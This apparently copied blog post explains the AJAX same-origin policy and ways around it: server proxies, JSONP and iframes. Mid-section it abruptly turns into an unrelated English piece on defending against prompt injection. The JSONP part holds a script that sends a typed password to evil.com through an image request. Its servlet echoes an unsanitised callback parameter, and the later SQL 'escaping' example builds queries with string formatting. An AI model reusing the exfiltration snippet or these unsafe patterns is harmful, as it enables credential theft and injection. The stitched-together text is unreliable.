AJAX Cross-Domain Same-Origin Policy limitation

本文详细介绍了浏览器的同源策略(SOP),并探讨了该策略如何限制了Ajax等技术的跨域请求。文章进一步讲解了三种绕过同源策略限制的方法:服务器端代理、JSONP以及利用iframe进行跨域请求。

AJAX Same-Origin Policy(SOP) limitation:

 

 

摘自:http://www.ibm.com/developerworks/library/wa-aj-jsonp1/

 

http://www.ibm.com/developerworks/cn/lotus/mashup-openajax/index.html

 

 

 

 

同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下,浏览器只允许网页中的脚本(如 JavaScript 或 VBScript)访问与之同源的 HTTP 请求和 cookie。注意即使域名和IP是对应的同一个地址,也是属于不同的源的。这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制(XmlHttpRequest),而对静态的资源文件,如 JavaScript 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中(例如 , <script src="..." >, <img src=”…”>)。因此,对于静态文件可以从任意其它域名下导入 HTML 文档。

 

 

 AJAX prevents cross-domail invokation, there are several ways to by pass this limitation.

1. write a proxy on the server side. The SOP limitation only exists only on the javascript side.  While on the side, we can still invoke the other domail url such as via HttpClient

 

 

2. JSONP(JSON with Padding)

the same-origin policy doesn't prevent the insertion of dynamic script elements (动态引入图像也是可以的,这样静态资源也可以引起跨域的调用)into the document. That is, you could dynamically insert JavaScript from different domains, carrying JSON data in them.

 

<mce:script type="text/javascript"><!--
// This is our function to be called with JSON data
function showPrice(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
}
var url = “ticker.js”; // URL of the external script
// this shows dynamic script insertion
var script = document.createElement('script');
script.setAttribute('src', url);

// load the script
document.getElementsByTagName('head')[0].appendChild(script); 
// --></mce:script>

 Note that, in order to do this, you must have a callback function already defined in the Web page at the time of insertion.

Beginning with version 1.2, jQuery has had native support for JSONP calls. You can load JSON data located on another domain if you specify a JSONP callback, which can be done using the following syntax: url?callback=?.

AJAX invoke:

 

jQuery.getJSON("http://www.yourdomain.com/jsonp/ticker?symbol=IBM&callback=?", 
function(data) {
    alert("Symbol: " + data.symbol + ", Price: " + data.price);
});

 Another domain generates json data and returned to client side with callback function.

 

 

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
  throws ServletException, IOException {
	String jsonData = getDataAsJson(req.getParameter("symbol"));
	String output = req.getParameter("callback") + "(" + jsonData + ");";

	resp.setContentType("text/javascript");
          
	PrintWriter out = resp.getWriter();
	out.println(output);
	// prints: jsonp1232617941775({"symbol" : "IBM", "price" : "91.42"});
}

 

 

基于图像的如下:

 

(function(){ 
	function getPassword() { 
		var pw = document.getElementById("password").value; 
		var imgTag = document.createElement("IMG"); 
		imgTag.setAttribute("src", "http://evil.com?pw=" + pw); 
	} 
	document.getElementById("submit").addEventListener("click",getPassword); 
})() 

 

 

 

3. iframe

    通过iframe的src可以指向任意的server url 

Here are some methods to defend against cross - lingual prompt injection: ### Input Validation and Sanitization - **Character and Syntax Checks**: Validate the input to ensure it only contains expected characters and follows the correct syntax for the language and the system's requirements. For example, if the system expects only alphanumeric characters in a certain field, reject inputs with special characters that could be used for injection. ```python import re def validate_input(input_str): pattern = r'^[a-zA-Z0-9]+$' return bool(re.match(pattern, input_str)) input_text = "validinput123" if validate_input(input_text): print("Input is valid.") else: print("Input may be malicious.") ``` - **Length Limitation**: Set reasonable length limits for user inputs. Long inputs may be more likely to contain malicious injection attempts. ### Encoding and Escaping - **Proper Encoding**: Use appropriate encoding for user inputs, such as UTF - 8. This can prevent some encoding - related injection attacks. - **Escaping Special Characters**: Escape special characters in the input to prevent them from being interpreted as part of a malicious command. For example, in SQL, characters like single quotes (' ) need to be properly escaped. ```python import sqlite3 def escape_input(input_str): return input_str.replace("'", "''") input_text = "O'Connor" escaped_text = escape_input(input_text) conn = sqlite3.connect('example.db') cursor = conn.cursor() query = f"SELECT * FROM users WHERE name = '{escaped_text}'" cursor.execute(query) ``` ### Context - Aware Filtering - **Understand the Context**: Analyze the context in which the input is used. For example, if the input is used in a translation context, filter out words or phrases that are not relevant to normal translation requests and may be injection attempts. - **Language - Specific Rules**: Apply language - specific rules and filters. Different languages have different grammar, vocabulary, and common patterns. Use these to identify abnormal inputs. ### Model - Based Detection - **Anomaly Detection Models**: Train machine learning or deep learning models to detect abnormal patterns in user inputs. These models can be trained on a large dataset of normal and malicious inputs. ```python import tensorflow as tf from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense # Assume X_train and y_train are pre - processed training data model = Sequential([ Dense(64, activation='relu', input_shape=(input_dim,)), Dense(32, activation='relu'), Dense(1, activation='sigmoid') ]) model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy']) model.fit(X_train, y_train, epochs=10, batch_size=32) ``` ### Isolation and Sandboxing - **Isolate User Inputs**: Run operations involving user inputs in isolated environments or sandboxes. This can prevent malicious code from affecting the main system. For example, use containerization technologies like Docker to isolate translation tasks.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值